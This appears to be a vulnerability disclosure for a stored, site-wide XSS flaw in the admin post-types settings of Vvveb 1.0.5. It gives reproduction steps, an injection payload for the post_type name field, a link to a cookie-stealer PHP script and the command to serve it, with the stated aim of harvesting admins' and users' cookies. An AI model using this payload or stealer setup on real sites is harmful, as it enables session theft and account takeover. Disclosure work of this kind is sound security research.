Vvveb 1.0.5 | Stored site-wide silent XSS

The endpoint at [/vadmin123/index.php?module=settings/post-types] is vulnerable to XSS. When a payload is applied here, it makes the whole site and every endpoint access through [/vadmin123/] vulnerable to attack.
This vulnerability can be exploited as long as you either a “Site Administraor”, “Administrator” or “Super Administrator”.

A well crafted XSS payload can be used to harvest cookies from multiple site admins, editors, vendors and everyone else.

Reproduce

Login as a moderator with “Site Administrator” role, open the following endpoint:
/vadmin123/index.php?module=settings/post-types

On top left, click on “Add type” button. From here you can add a post type, in [name="post_type[type]"] field you can enter a payload like the following:
"><img src='http://127.0.0.1:1718/capture.php'>

This payload will execute anytime anyone logs in through the admin panel [/vadmin123/], it executes malicious JavaScript used for stealing cookies silently.

To setup a cookie stealer server, you can save the following PHP script as capture.php:
https://gist.github.com/0xHamy/b2674eeffd1f73af96d29f152c47bcbd

Start a PHP server to serve it:
$ php -S 0.0.0.0:1718